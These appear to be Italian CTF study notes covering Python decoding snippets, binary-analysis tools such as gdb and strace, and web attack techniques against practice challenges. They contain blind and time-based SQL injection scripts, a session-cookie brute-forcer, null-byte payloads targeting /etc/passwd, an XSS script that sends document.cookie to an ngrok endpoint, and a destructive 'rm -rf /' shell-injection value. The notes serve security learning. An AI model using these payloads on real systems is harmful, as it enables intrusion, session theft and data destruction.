Note utili per CTF

October 26, 2024

Contents

1 Software Security **2**

1.1 Comandi Utili Python per la Decodifica . . . 2

1.1.1 Decodifica Base64 . . . 2

1.1.2 Decodifica Esadecimale . . . 3

1.1.3 Decodifica URL . . . 3

1.1.4 Decodifica JSON . . . 3

1.1.5 Decodifica Base32 . . . 3

1.1.6 Decodifica Base16 . . . 4

1.1.7 Decodifica URL-safe Base64 . . . 4

1.1.8 Decodifica Rot13 . . . 4

1.1.9 Decodifica Caesar Cipher . . . 4

1.1.10 Decodifica hexdump . . . 6

1.1.11 Decodifica . . . 6

1.2 Analisi di immagini . . . 6

1.3 Analisi png . . . 6

1.4 Analisi gif . . . 7

1.5 Analisi dei file binari . . . 7

1.5.1 Architettura di un file . . . 8

1.5.2 Analisi delle librerie con ldd . . . 8

1.5.3 Analisi degli object files con objdump . . . 8

1.5.4 Analisi delle stringhe con strings . . . 8

1.5.5 Analisi delle tracce con ltrace . . . 8

1.5.6 Analisi delle tracce con strace . . . 9

1.5.7 Debugging con gdb . . . 9

2 Web Security **11**

2.1 SQL injection . . . 11

2.1.1 Logic SQL injections . . . 12

2.1.2 Union SQL injections . . . 12

2.1.3 Blind SQL injections 12
2.1.4 Time-based SQL injections 13
2.2 Cos'è il file robots.txt? 14
2.2.1 Funzioni e struttura del file robots.txt 14
2.2.2 Esempio di file robots.txt 15
2.3 Utilizzo di Postman 15
2.4 Reindirizzamenti inutili 15
2.5 Cookie di sessione 15
2.6 Dump di una cartella git 16
2.7 Lunghezza zero 16
2.8 Sfruttamento della Vulnerabilità nel Confronto 16
2.9 Null-Byte Injection 17
2.9.1 Accesso a file con restrizioni di estensione 17
2.9.2 Upload di file con restrizioni di estensione 18
2.9.3 Esempio di percorso complesso 18
2.10 Comparazione di stringhe in PHP 18
2.11 Analisi della Vulnerabilità PHP con preg_match e array 19
2.11.1 Effetto del Bypass con Array 19
2.12 Shell Injection 21
2.12.1 Esempio di Shell Injection 21
2.12.2 Effetto della Shell Injection 21

1 Software Security

1.1 Comandi Utili Python per la Decodifica

In ambito di sicurezza informatica, la decodifica di dati è una pratica comune per analizzare e comprendere informazioni nascoste o cifrate. Python offre una varietà di librerie e funzioni che facilitano queste operazioni. Di seguito sono riportati alcuni comandi utili per diverse tipologie di decodifica.

1.1.1 Decodifica Base64

La codifica Base64 è ampiamente utilizzata per rappresentare dati binari in formato testuale. Ecco come decodificare una stringa Base64 in Python:

Listing 1: Decodifica Base64

```
import base64

encoded_data = "SGVsbG8gV29ybGQh"
decoded_bytes = base64.b64decode(encoded_data)
decoded_str = decoded_bytes.decode('utf-8')
print(decoded_str)  # Output: Hello World!
```

1.1.2 Decodifica Esadecimale

La decodifica esadecimale è utile per convertire stringhe esadecimali in dati binari:

Listing 2: Decodifica Esadecimale

```
hex_str = "48656c6c6f20576f726c6421"
decoded_bytes = bytes.fromhex(hex_str)
decoded_str = decoded_bytes.decode('utf-8')
print(decoded_str)  # Output: Hello World!
```

1.1.3 Decodifica `URL`

Le stringhe `URL` spesso contengono caratteri codificati. Per decodificarle:

Listing 3: Decodifica URL

```
import urllib.parse

encoded_url = "Hello%20World%21"
decoded_url = urllib.parse.unquote(encoded_url)
print(decoded_url)  # Output: Hello World!
```

1.1.4 Decodifica `JSON`

Per decodificare una stringa `JSON` in un oggetto Python:

Listing 4: Decodifica `JSON`

```
import json

json_str = '{"nome": "Alice", "eta": 30}'
data = json.loads(json_str)
print(data['nome'])  # Output: Alice
```

1.1.5 Decodifica `Base32`

Simile a `Base64`, `Base32` è un'altra forma di codifica per dati binari:

Listing 5: Decodifica `Base32`

```
import base64

encoded_data = "JBSWY3DP"
decoded_bytes = base64.b32decode(encoded_data)
decoded_str = decoded_bytes.decode('utf-8')
print(decoded_str)  # Output: Hello
```

1.1.6 Decodifica `Base16`

`Base16`, noto anche come esadecimale, è utilizzato per rappresentare dati binari:

Listing 6: Decodifica `Base16`

```
import base64

encoded_data = "48656c6c6f"
decoded_bytes = base64.b16decode(encoded_data.upper())
decoded_str = decoded_bytes.decode('utf-8')
print(decoded_str)  # Output: Hello
```

1.1.7 Decodifica URL-safe `Base64`

Per gestire stringhe `Base64` che sono state rese sicure per l'URL:

Listing 7: Decodifica URL-safe Base64

```
import base64

encoded_data = "SGVsbG8gV29ybGQh=="
decoded_bytes = base64.urlsafe_b64decode(encoded_data)
decoded_str = decoded_bytes.decode('utf-8')
print(decoded_str)  # Output: Hello World!
```

1.1.8 Decodifica `Rot13`

`Rot13` è un semplice algoritmo di cifratura che sostituisce una lettera con la lettera 13 posizioni più avanti nell'alfabeto:

Listing 8: Decodifica `Rot13`

```
import codecs

encoded_str = "Uryyb Jbeyq!"
decoded_str = codecs.decode(encoded_str, 'rot_13')
print(decoded_str)  # Output: Hello World!
```

1.1.9 Decodifica Caesar Cipher

Il cifrario di Cesare è un tipo di cifratura a sostituzione in cui ogni lettera nel testo viene sostituita da un'altra lettera che si trova un certo numero fisso di posizioni più avanti nell'alfabeto. Ad esempio, con uno spostamento di 3, la lettera 'A' diventa 'D', 'B' diventa 'E', e così via. Questo approccio è molto semplice ma facilmente decifrabile.

Di seguito sono presentati due esempi di decodifica del cifrario di Cesare, uno con uno spostamento statico e l'altro con uno spostamento dinamico.

Listing 9: Decodifica Caesar Cipher Statico

```
#!/usr/bin/env python3

flag = "Khoor Zruog!"

# Shift statico
shift = 3

for c in flag:
  # Decifro solo se e' una lettera
  if c >= 'a' and c <= 'z':
    # Decifro la lettera
    c = chr((ord(c) - ord('a') - shift) % 26 + ord('a'))
  elif c >= 'A' and c <= 'Z':
    # Decifro la lettera
    c = chr((ord(c) - ord('A') - shift) % 26 + ord('A'))
  print(c, end="")
```

In questo esempio, il testo cifrato `"Khoor Zruog!"` viene decifrato utilizzando uno spostamento statico di 3. Il ciclo controlla ogni carattere nella stringa; se è una lettera, viene decifrato applicando lo spostamento inverso. La funzione `ord()` restituisce il valore ASCII del carattere, che viene poi utilizzato per calcolare il nuovo carattere decifrato.

Listing 10: Decodifica Caesar Cipher Dinamico

```
#!/usr/bin/env python3

flag = "text{this_is_a_flag}"

# Cifrario di Cesare con shift dinamico
i = 0

for c in flag:
  # Decifro solo se e' una lettera
  if c >= 'a' and c <= 'z':
    # Decifro la lettera
    c = chr((ord(c) - ord('a') - i) % 26 + ord('a'))
  elif c >= 'A' and c <= 'Z':
    # Decifro la lettera
    c = chr((ord(c) - ord('A') - i) % 26 + ord('A'))
  i += 1
  print(c, end="")
```

In questo secondo esempio, il testo `"textthis_is_a_flag"` viene decifrato utilizzando uno spostamento dinamico. Qui, la variabile `i` aumenta di 1 ad ogni iterazione, consentendo uno spostamento diverso per ogni lettera. Questo significa che la prima lettera viene decifrata con uno spostamento di 0, la seconda con uno spostamento di 1, la terza

con uno spostamento di 2, e così via. Questo approccio rende la cifratura più difficile da decifrare rispetto a uno spostamento statico.

1.1.10 Decodifica `hexdump`

Per convertire una stringa `hexdump` in dati binari:

Listing 11: Decodifica Hexdump

```
hex_dump = "48 65 6c 6c 6f 20 57 6f 72 6c 64 21"
decoded_bytes = bytes.fromhex(hex_dump.replace(" ", ""))
decoded_str = decoded_bytes.decode('utf-8')
print(decoded_str)  # Output: Hello World!
```

1.1.11 Decodifica

Per decodificare byte codificati in `UTF-8`:

Listing 12: Decodifica `UTF-8`

```
byte_data = b'\xe2\x9c\x93'
decoded_str = byte_data.decode('utf-8')
print(decoded_str)
```

1.2 Analisi di immagini

In generale è possibile utilizzare anche `Ghidra` per analizzare immagini, soprattutto quando risultano corrotte. `Ghidra` è un potente strumento di ingegneria inversa che, sebbene sia principalmente progettato per l'analisi di eseguibili, può essere utile anche per l'analisi di file di immagine. Questa funzionalità è particolarmente utile per identificare eventuali anomalie o modifiche non autorizzate nei file.

1.3 Analisi `png`

I file `PNG` (Portable Network Graphics) sono formati di immagine molto comuni, noti per la loro compressione lossless e supporto per la trasparenza. Quando si analizzano file PNG, è possibile utilizzare strumenti come:

- Chunk Inspector: Questo strumento consente di visualizzare e analizzare i chunk di un file PNG. Ogni file PNG è composto da diversi chunk, ognuno dei quali contiene informazioni specifiche.
- FotoForensics: Un altro strumento utile per analizzare immagini PNG, fornendo informazioni sulle modifiche e sulla qualità dell'immagine.
- Forensic Magnifier: Questo strumento offre funzionalità di ingegneria forense per analizzare le immagini e identificare eventuali alterazioni.

L'analisi dei chunk in un file PNG può rivelare informazioni utili, come i metadati, il profilo di colore e altre proprietà che possono indicare modifiche.

1.4 Analisi gif

I file GIF (Graphics Interchange Format) sono noti per la loro capacità di supportare animazioni. A volte, le GIF possono essere lunghe e complesse, quindi è utile convertirle in video per una gestione e un'analisi più facili. Questo può essere fatto utilizzando Python con la libreria moviepy. Ecco un esempio di codice per convertire una GIF in un video MP4:

Listing 13: Conversione GIF in video

```
from moviepy.editor import VideoFileClip

# Funzione per convertire GIF in video MP4
def convert_gif_to_video(input_gif, output_video):
  # Carica la GIF
  clip = VideoFileClip(input_gif)
  # Esporta come video MP4
  clip.write_videofile(output_video, codec='libx264')

# Esempio di utilizzo
input_gif = 'path/to/your/input.gif'  # Sostituisci con il percorso
   del tuo file GIF
output_video = 'path/to/your/output.mp4'  # Sostituisci con il
   percorso di output desiderato
convert_gif_to_video(input_gif, output_video)
```

Questo script carica un file GIF e lo converte in un file MP4, rendendo più facile la visualizzazione e l'analisi del contenuto. Può essere utile anche per l'analisi di frame specifici o per l'applicazione di filtri e effetti.

Assicurati di avere installato moviepy eseguendo il comando:

```
pip install moviepy
```

L'analisi delle immagini, sia in formato PNG che GIF, offre diverse possibilità per comprendere e investigare contenuti visivi, specialmente in contesti forensi o di ingegneria inversa.

1.5 Analisi dei file binari

L'analisi dei file binari è fondamentale per comprendere come funzionano i programmi a basso livello. Ci sono diversi strumenti che possono aiutare in questo processo.

1.5.1 Architettura di un file

Un file binario è composto da varie sezioni, ognuna con uno scopo specifico. Le principali sezioni includono:

- **Header**: Contiene informazioni sul file, come il tipo e la versione.
- **Sezione dei dati**: Memorizza le variabili e i dati usati dal programma.
- **Sezione del codice**: Contiene le istruzioni eseguibili.
- **Sezione delle librerie**: Riferisce alle librerie esterne necessarie per l'esecuzione.

1.5.2 Analisi delle librerie con `ldd`

Il comando `ldd` elenca le librerie condivise utilizzate da un file eseguibile. Esempio:

```
ldd nomefile
```

Questo aiuta a capire le dipendenze del programma.

1.5.3 Analisi degli object files con `objdump`

`objdump` fornisce informazioni dettagliate sui file oggetto, inclusi i simboli e le sezioni. Può essere usato così:

```
objdump -d nomefile.o
```

Questo comando decompila il codice in assembly, utile per l'analisi a livello di codice.

1.5.4 Analisi delle stringhe con `strings`

Il comando `strings` estrae le stringhe ASCII da un file binario. È utile per trovare messaggi o informazioni codificate:

```
strings nomefile
```

1.5.5 Analisi delle tracce con `ltrace`

`ltrace` mostra le chiamate alle librerie e le loro argomentazioni mentre un programma viene eseguito. È utile per vedere quali funzioni di libreria vengono utilizzate:

```
ltrace nomefile
```

- **Aggiungere filtri con `-e`**: Questo filtro limita l'output a specifiche funzioni. Esempio:

  ```
  ltrace -e funzione nomefile
  ```

- **Aggiungere filtri con `-f`**: Segue anche i processi figli creati dal programma.

  ```
  ltrace -f nomefile
  ```

1.5.6 Analisi delle tracce con `strace`

`strace` monitora le chiamate di sistema fatte da un programma e l'output di queste chiamate:

`strace nomefile`

Può aiutare a diagnosticare problemi di esecuzione e a vedere quali file e risorse vengono acceduti. `strace` consente di tracciare le syscall eseguite dai processi figli con l'opzione `-f`.

1.5.7 Debugging con `gdb`

`gdb` è un potente strumento di debugging per programmi C e C++. Alcuni comandi utili includono:

- **Il comando `info registers`**: Mostra i valori attuali dei registri della CPU.
- **Il comando `print/f expr`**: Stampa il valore di un'espressione. Ad esempio:

  ```
  print/f variabile
  ```

- **Breakpoints**: Permettono di fermare l'esecuzione del programma in punti specifici. Puoi impostarli con:

  ```
  break nomefunzione
  ```

  oppure

  ```
  break *address
  ```

  Dove il primo crea un breakpoint sulla funzione, e il secondo su un indirizzo specifico. È anche possibile specificare un offset, per esempio:

  ```
  break *main+10
  ```

- **Ispezione della memoria**: La sintassi del comando per ispezionare la memoria è `x/nfu addr`, dove:
  - `x` -> Examine (esamina)

  - `n` -> Numero di elementi da stampare (opzionale, di default 1)
  - `f` -> Formato per stampare la memoria (opzionale, di default x):
    * `s` per le stringhe
    * `i` per il disassembly
    * `x` per l'esadecimale
    * `f` per i float
    * `d` per i numeri interi con segno
  - `u` -> Dimensione di ogni elemento da stampare (opzionale, di default w):
    * `b` per Bytes
    * `h` per Halfwords (2 bytes)
    * `w` per Words (4 bytes)
    * `g` per Giant words (8 bytes)
  - `addr` può essere sia un indirizzo di memoria, come `0x5000000`, sia un registro come `$rax`. Possono essere specificate operazioni aritmetiche, per esempio `$rax+8`.

- **Cambio del contenuto della memoria**: Il comando da utilizzare è `set {type}address = value`, dove `type` indica il tipo della variabile all'indirizzo `address`. Ad esempio:

  ```
  set {int}0x650000 = 0x42
  ```

- **Trova indirizzo di variabile globale**: Puoi utilizzare `print` insieme a `&`:

  ```
  p &var
  ```

- **Stampa risultato di espressioni**: Usa il comando `print`, abbreviabile con `p`:

  ```
  print/f expr
  ```

  La sua sintassi è:

  - `print` è il comando
  - `f` è il formato (es. `x` per esadecimale, `d` per numeri interi)
  - `expr` può essere un registro, come `$rax`, o un'espressione aritmetica, come `$rax+0x100`.

- **Esecuzione del programma**: Con il comando `run` il programma verrà eseguito dal debugger. Puoi premere `CTRL-C` per mettere in pausa l'esecuzione e usare `continue` per riprenderla.

Questi strumenti e comandi offrono un insieme di tecniche per analizzare e debuggare file binari, aiutando a comprendere meglio il loro funzionamento interno

2 Web Security

2.1 SQL injection

In questa sezione, descriviamo il processo di automatizzazione per le tecniche di SQL injection utilizzando Python. Presentiamo una classe Python per la gestione delle comunicazioni con il server, includendo funzionalità per stabilire sessioni e proteggere la connessione tramite token anti-CSRF.

Listing 14: Esempio di SQL Injection in Python

```
import requests
import binascii
import time

class Inj:
    def __init__(self, host):
        self.sess = requests.Session()  # Avvia la sessione per
            mantenere i cookie
        self.base_url = '{}/api/'.format(host)
        self._refresh_csrf_token()  # Rinnova il token anti-CSRF

    def _refresh_csrf_token(self):
        resp = self.sess.get(self.base_url + 'get_token')
        resp = resp.json()
        self.token = resp['token']

    def _do_raw_req(self, url, query):
        headers = {'X-CSRFToken': self.token}
        data = {'query': query}
        return self.sess.post(url, json=data, headers=headers).json()

    def logic(self, query):
        url = self.base_url + 'logic'
        response = self._do_raw_req(url, query)
        return response['result'], response['sql_error']

    def union(self, query):
        url = self.base_url + 'union'
        response = self._do_raw_req(url, query)
        return response['result'], response['sql_error']
```

```
    def blind(self, query):
        url = self.base_url + 'blind'
        response = self._do_raw_req(url, query)
        return response['result'], response['sql_error']

    def time(self, query):
        url = self.base_url + 'time'
        response = self._do_raw_req(url, query)
        return response['result'], response['sql_error']
```

2.1.1 Logic SQL injections

Le SQL injections basate su logica utilizzano condizioni booleane (ad esempio OR) per alterare la logica delle query SQL e aggirare i controlli di sicurezza del database. Questi attacchi possono essere utilizzati per ottenere risposte diverse o per verificare la presenza di determinate condizioni.

Esempio: 'OR 1=1 - -
In questo esempio, la condizione logica 'OR 1=1 forza un risultato vero costante nella query. L'inserimento di questa condizione rende la query sempre vera, superando i controlli e accedendo ai dati. Quando non conosciamo il testo completo della query, è utile chiudere l'iniezione con un commento - - per evitare che il resto della query interferisca con il nostro input.

2.1.2 Union SQL injections

La parola chiave UNION consente di combinare i risultati di più query SELECT in un unico set di dati, permettendo l'accesso a tabelle e colonne aggiuntive. È importante che le due query abbiano lo stesso numero di colonne per evitare errori.

Per rilevare il tipo di database e la versione, si possono provare diverse funzioni comuni:

- version() per MySQL e PostgreSQL
- @@VERSION per Microsoft SQL Server
- sqlite_version() per SQLite

Esempio
Eseguendo la query seguente su MySQL 8.0.15: SELECT 1,version();, il risultato sarà 1, 8.0.15.

2.1.3 Blind SQL injections

Le SQL injections "blind" sono utilizzate quando non è possibile vedere direttamente il risultato della query. In questo caso, inviamo una serie di domande logiche al server per

ottenere informazioni in modo indiretto, carattere per carattere. Utilizzando la codifica esadecimale, possiamo limitare il set di caratteri a 16 simboli, rendendo la ricerca più efficiente.

Listing 15: Esempio di blind SQL Injection basato su boolean

```
inj = Inj('http://web-17.challs.olicyber.it')

dictionary = '0123456789abcdef'
result = ''

while True:
    for c in dictionary:
        question = f"1' and (select 1 from secret where HEX(asecret)
           LIKE '{result+c}%')='1"
        response, error = inj.blind(question)
        if response == 'Success': # Abbiamo trovato un match!
            result += c
            print(f"Current result: {result}")
            break
    else:
        break # Abbiamo esaurito i caratteri del dizionario.

# Decodifica il risultato esadecimale

hex_string = result
decoded_string = bytes.fromhex(hex_string).decode('utf-8')
print(decoded_string)
```

2.1.4 Time-based SQL injections

Le SQL injections time-based permettono di estrarre informazioni anche quando non vi è output disponibile. In questi casi, il tempo di risposta del server determina il successo o fallimento della query. Il payload seguente include una condizione con SLEEP(1) per ritardare la risposta quando la condizione è vera.

Listing 16: Esempio di time-based SQL Injection

```
inj = Inj('http://web-17.challs.olicyber.it')

dictionary = '0123456789abcdef'
result = ''

while True:
    for c in dictionary:
        question = f"1' AND (SELECT SLEEP(1) FROM flags WHERE
           HEX(flag) LIKE '{result+c}%')='1"

        start = time()
```

```
        # Lanciamo la query
        response, error = inj.time(question)

        # Confrontiamo il tempo finale con quello di partenza
        elapsed = time() - start

        if elapsed > 1:
            result += c
            print(f"Current result: {result}")
            break
    else:
        break # Abbiamo esaurito i caratteri del dizionario.

# Decodifica il risultato esadecimale

hex_string = result
decoded_string = bytes.fromhex(hex_string).decode('utf-8')
print(decoded_string)
```

In questi esempi, ogni metodo di `SQL` injection mostra come interrogare il database e ottenere informazioni sensibili con tecniche adattate alla visibilità limitata o alla mancanza di output del sistema target.

2.2 Cos'è il file `robots.txt`?

Il file `robots.txt` è un file di testo situato nella directory principale di un sito web, utilizzato per comunicare con i *web crawler*, ovvero software automatici che esplorano i siti web per indicizzarne i contenuti nei motori di ricerca. Attraverso il file `robots.txt`, i proprietari dei siti web possono fornire indicazioni ai *crawler* riguardo a quali pagine o sezioni del sito possono essere esplorate o meno.

2.2.1 Funzioni e struttura del file `robots.txt`

Il file `robots.txt` contiene regole che stabiliscono quali URL possono o non possono essere esplorati dai *web crawler*. La struttura base include i seguenti elementi:

- **User-agent**: Specifica a quale *crawler* si applicano le regole. Ad esempio, `User-agent: *` indica che le regole si applicano a tutti i *crawler*.
- **Disallow**: Specifica i percorsi che i *crawler* non devono esplorare. Ad esempio, `Disallow: /private/` impedisce l'accesso a tutte le URL che iniziano con `/private/`.
- **Allow**: Consente l'accesso a determinate risorse, anche se una regola generale di `Disallow` potrebbe altrimenti bloccarle.

- **Sitemap**: Fornisce un link alla sitemap del sito, aiutando i *crawler* a trovare tutte le pagine che dovrebbero essere indicizzate.

2.2.2 Esempio di file `robots.txt`

```
User-agent: *
Disallow: /admin/
Disallow: /private/
Allow: /public/
Sitemap: https://www.example.com/sitemap.xml
```

In questo esempio:

- `User-agent: *` indica che la regola si applica a tutti i *web crawler*.
- Viene bloccato l'accesso alle directory `/admin/` e `/private/`, mentre è consentito l'accesso alla directory `/public/`.
- La sitemap del sito è fornita per aiutare i *crawler* a trovare l'elenco delle pagine da indicizzare.

2.3 Utilizzo di Postman

Postman è uno strumento utile per analizzare le informazioni chiave presenti nell'*header* delle richieste `HTTP`.

2.4 Reindirizzamenti inutili

Per evitare reindirizzamenti non necessari, è possibile utilizzare Python. Lo script seguente permette di stampare il contenuto di una richiesta senza essere reindirizzati:

Listing 17: Evitare reindirizzamenti

```
#!/usr/bin/env python3
import requests

r = requests.get("http://sito/risorsa.php", allow_redirects=False)
print(r.text, end="")
```

2.5 Cookie di sessione

Quando un determinato percorso è accessibile solo tramite un cookie di sessione specifico, è utile provare ad accedere attraverso la forza bruta, iterando su ogni possibilità. Ecco un esempio di script Python per farlo:

Listing 18: Cookie di sessione

```python
#!/usr/bin/env python3
import requests

site = "http://too-small-reminder.challs.olicyber.it"
s = requests.Session()
for i in range(int(10e8)):
  r = s.get(f"{site}/admin", cookies={"session_id": f"{i}"})
  if "flag" in r.text.lower():
    print(r.text)
    break
  else:
    print(f"richiesta {i}: {r.text.replace('\n', '')}")
```

2.6 Dump di una cartella git

In alcune situazioni, potrebbe essere utile recuperare la cartella git del progetto per esplorare versioni precedenti. Per farlo, si può utilizzare `git-dumper`:

Listing 19: Dump di una cartella git

```
git-dumper http://sito directory_dest
```

2.7 Lunghezza zero

Nel caso in cui il server `PHP` richieda qualcosa di lunghezza zero, ma che concatenato sia diverso dalla stringa originale, è possibile inviare un array facendo una richiesta `POST` con `input[]` e valore vuoto. Questa operazione può essere eseguita in Postman o in Python.

In Postman, eseguire una richiesta `POST` inserendo come chiave `input[]` e come valore nulla.

In Python, il codice per farlo è il seguente:

Listing 20: Richiesta `POST` speciale

```python
#!/usr/bin/env python3
import requests

r = requests.post("http://sito", data={"input[]": ""})
print(r.text)
```

2.8 Sfruttamento della Vulnerabilità nel Confronto

Nel seguente frammento di codice `PHP`, l'input dell'utente viene confrontato con una parte dell'hash `MD5` dell'input stesso:

```php
$user_input = $_GET['input'];

if ($user_input == substr(md5($user_input), 0, 24)) {
  echo "Ce l'hai fatta! Ecco la flag: $flag";
} else {
  echo "Nope nope nope";
}
```

Questo codice presenta una vulnerabilità sfruttabile, e il seguente script Python cerca di trovare un input che soddisfi la condizione per ottenere la flag:

```python
def find_input():
  print("Finding input...")
  for i in range(0, 100000000):
    input_str = "0e" + str(i)
    # Controlla se l'hash dell'input e' uguale 0e, ovvero 0^{n} dove
       n e' un numero
    if "0e" == hashlib.md5(input_str.encode()).hexdigest()[:2]:
      # deve essere numerico dal terzo carattere fino al
         ventiquattresimo
      # dato che nel server \texttt{PHP} il controllo e' fatto sul
         troncamento dell'hash
      numero = hashlib.md5(input_str.encode()).hexdigest()[3:24]
      if numero.isnumeric():
        return input_str
      print(f"Attempt {i} failed.")
  return None

result = find_input()
print(f"Result: {result}")
```

2.9 Null-Byte Injection

La `null-byte injection` è una tecnica di bypass che sfrutta il carattere null byte (indicato anche come `\x00` o `%00`) per terminare una stringa. In molti linguaggi di programmazione, il null byte viene interpretato come il termine di una stringa. Quando un'applicazione riceve un input contenente un null byte, può interpretarlo come la fine dell'input, ignorando eventuali caratteri successivi.

2.9.1 Accesso a file con restrizioni di estensione

In alcune applicazioni, vengono applicate restrizioni per evitare l'accesso a file non autorizzati, aggiungendo automaticamente un'estensione specifica (ad esempio, `.php`) ai file richiesti. Supponiamo che un attaccante voglia accedere al file `/etc/passwd`, ma l'applicazione applichi automaticamente l'estensione `.php`, trasformando così l'`URL` in:

```
/etc/passwd.php
```

L'attaccante può utilizzare un null byte per terminare la stringa e ignorare l'estensione imposta dall'applicazione:

```
/etc/passwd%00
```

In questo modo, l'applicazione interpreta solo `/etc/passwd` e ignora `.php`, permettendo l'accesso al file originale.

2.9.2 Upload di file con restrizioni di estensione

Analogamente, durante il caricamento di file, un'applicazione potrebbe limitare le estensioni consentite (ad esempio, permettendo solo `.txt`). Se un attaccante vuole caricare un file malevolo chiamato `malicious.php` ma è consentito solo il caricamento di file `.txt`, può costruire il nome del file in questo modo:

```
malicious.php%00.txt
```

In fase di validazione, l'applicazione potrebbe leggere solo `malicious.php`, ignorando `.txt` a causa del null byte. Di conseguenza, il file `malicious.php` viene caricato sul server.

2.9.3 Esempio di percorso complesso

Un attaccante potrebbe usare un percorso complesso per accedere a un file, ad esempio `flag.txt`. Invece di utilizzare un percorso relativo standard come `../../../../../flag.txt%00.css`, potrebbe costruire il percorso in questo modo:

```
.../.../.../.../.../flag.txt%00.css
```

In questo caso, i tre puntini (`...`) servono a confondere l'interpretazione del percorso, eludendo potenzialmente filtri e validazioni. Questo approccio rende il percorso meno riconoscibile, mantenendo la funzionalità del null byte per terminare la stringa e ignorare l'estensione `.css`.

2.10 Comparazione di stringhe in PHP

Il seguente codice PHP contiene una vulnerabilità che consente di bypassare il controllo della password inviando un *array* anziché una stringa.

```
<?php
if (isset($_POST['password'])) {
  if (strcmp($_POST['password'], $password) == 0) {
    echo $FLAG;
```

```
  } else {
    echo '<br />Wrong Password<br /><br />';
  }
}
?>
```

La funzione `strcmp` si aspetta di ricevere due **stringhe** come input. Quando uno dei parametri, come `$_POST['password']`, è un **array**, PHP genera un avviso di tipo poiché `strcmp` non può confrontare una stringa con un array.

In questo caso, PHP restituisce `null` per il confronto, che viene interpretato come `false`. Poiché la valutazione non genera un blocco del flusso di esecuzione, la condizione `== 0` risulta vera e il codice entra nel ramo vero, visualizzando il contenuto di `$FLAG`.

Questo comportamento evidenzia l'importanza di verificare il tipo di `$_POST['password']` prima del confronto. Una verifica di tipo aggiuntiva può impedire l'uso di `strcmp` con dati non validi, garantendo che solo stringhe siano confrontate per la verifica della password.

2.11 Analisi della Vulnerabilità PHP con `preg_match` e array

Il seguente codice PHP presenta una vulnerabilità dovuta all'uso di un'espressione regolare nel controllo del parametro `$_GET['richiesta']`.

```
<?php
  if(isset($_GET['richiesta'])) {
    if (preg_match("/.*/i", $_GET['richiesta'], $match))  {
      echo "No, mi dispiace non posso fare questo!";
    } else {
      echo "flag{TROVAMI}";
    }
  } else {
    echo "Fai una richiesta e provero a realizzarla";
  }
?>
```

l codice utilizza `preg_match` per controllare se `$_GET['richiesta']` corrisponde all'espressione regolare `/.*/i`. Tuttavia, questa funzione si aspetta una stringa come input. Quando un **array** viene passato come parametro, `preg_match` restituisce `null` e genera un avviso, invece di bloccare l'esecuzione. Di conseguenza, il confronto risulta **falso** e viene eseguito il blocco `else`, rivelando il flag.

2.11.1 Effetto del Bypass con Array

Poiché `preg_match` non gestisce correttamente il tipo *array* come input, non riesce a eseguire la corrispondenza. Questo comportamento consente di eludere il controllo,

accedendo al ramo `else` e visualizzando `flag{TROVAMI}`.

Esempio di Tracciamento degli Utenti tramite Input Non Validato

In una pagina web, è possibile inserire input non validato, come del codice JavaScript, che consente il tracciamento degli utenti e l'accesso a informazioni sensibili. Ecco un esempio di codice malevolo:

```
<script>
fetch('https://<IP>.ngrok-free.app', {
   method: 'POST',
   mode: 'no-cors',
   body: document.cookie
});
</script>
```

Funzionamento del Codice Questo script sfrutta la funzione `fetch` di JavaScript per inviare una richiesta `HTTP POST` a un server remoto, passando i cookie dell'utente tramite `document.cookie`. Approfondiamo le parti chiave di questo codice:

- **ngrok**: `ngrok` è uno strumento che permette di esporre in modo sicuro un server locale a Internet. Crea un *tunnel* tra il computer locale dell'attaccante e un dominio accessibile pubblicamente, che viene generato dinamicamente da `ngrok`. In questo caso, l'`URL` `https://<IP>.ngrok-free.app` rappresenta un endpoint pubblico fornito da `ngrok`, che reindirizza le richieste in ingresso verso il server locale dell'attaccante.

  Utilizzare `ngrok` è particolarmente vantaggioso per chi intende eseguire attacchi temporanei o test di sicurezza, poiché il dominio generato ha una durata limitata e non richiede configurazioni complicate di rete o firewall. Inoltre, poiché il dominio `ngrok` appare come un `URL` standard, potrebbe passare inosservato, permettendo all'attaccante di raccogliere i dati inviati dallo script.

- **mode: 'no-cors'**: l'opzione `no-cors` all'interno della configurazione `fetch` disabilita il controllo della politica di `CORS` (Cross-Origin Resource Sharing). `CORS` è una misura di sicurezza che limita le richieste `HTTP` effettuate tra domini diversi. Disabilitando `CORS` con `no-cors`, il browser non blocca la richiesta tra domini, consentendo allo script di inviare i dati senza essere interrotto dai controlli di sicurezza del browser.

Implicazioni della Vulnerabilità Quando un utente visita una pagina che contiene questo script, il browser esegue automaticamente il codice, inviando i cookie

dell'utente al server remoto configurato tramite `ngrok` senza che l'utente ne sia consapevole. L'attaccante, avendo accesso ai cookie, potrebbe riuscire a ottenere informazioni sensibili, come dati di sessione o token di autenticazione, compromettendo così la sicurezza dell'account.

2.12 Shell Injection

Le vulnerabilità di *shell injection* si verificano quando un'applicazione web esegue comandi di sistema basati su input non validato. Questo può consentire a un attaccante di eseguire comandi dannosi sul server, compromettendo la sicurezza del sistema.

2.12.1 Esempio di Shell Injection

Supponiamo di avere un'applicazione web che esegue comandi di sistema per visualizzare il contenuto di un file. Il seguente codice `PHP` rappresenta un esempio semplificato di un'applicazione vulnerabile a shell injection:

```
<?\texttt{PHP}
$filename = $_GET['file'];
echo system("cat " . $filename);
?>
```

In questo esempio, il nome del file da visualizzare è passato come input attraverso il parametro `$_GET['file']`. Il codice concatena direttamente questo input all'interno del comando `system`, senza alcun controllo o sanificazione. Un utente malintenzionato potrebbe sfruttare questa vulnerabilità inserendo comandi aggiuntivi nel parametro `file`. Ad esempio, passando il valore `/flag.txt; rm -rf /` come `file`, l'attaccante potrebbe eseguire comandi distruttivi sul server.

2.12.2 Effetto della Shell Injection

Con la vulnerabilità esposta, un attaccante potrebbe costruire URL malevoli per eseguire comandi arbitrari. Per esempio, una richiesta come:

`http://example.com/script.php?file=/flag.txt;ls`

porterebbe all'esecuzione del comando `cat /flag.txt` seguito da `ls`, elencando i file nella directory. Questo tipo di attacco potrebbe essere utilizzato per accedere a file sensibili, eliminare file o eseguire qualsiasi comando con i privilegi dell'applicazione.

Vulnerabilità di `SQL` Injection

Il seguente codice `PHP` è vulnerabile a un attacco di *`SQL` Injection* poiché concatena direttamente l'input dell'utente (le variabili `$username` e `$password`) nella query SQL. Questa vulnerabilità permette a un attaccante di manipolare la query per ottenere

accesso non autorizzato o modificare dati nel database, come impostare un utente come amministratore.

```
<?php
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        $db = new mysqli($db_host, $db_user, $db_password,
            $db_schema);

        $username = $_POST['username'];
        $password = $_POST['password'];

        $\texttt{SQL} = "INSERT INTO users(username,password,admin)
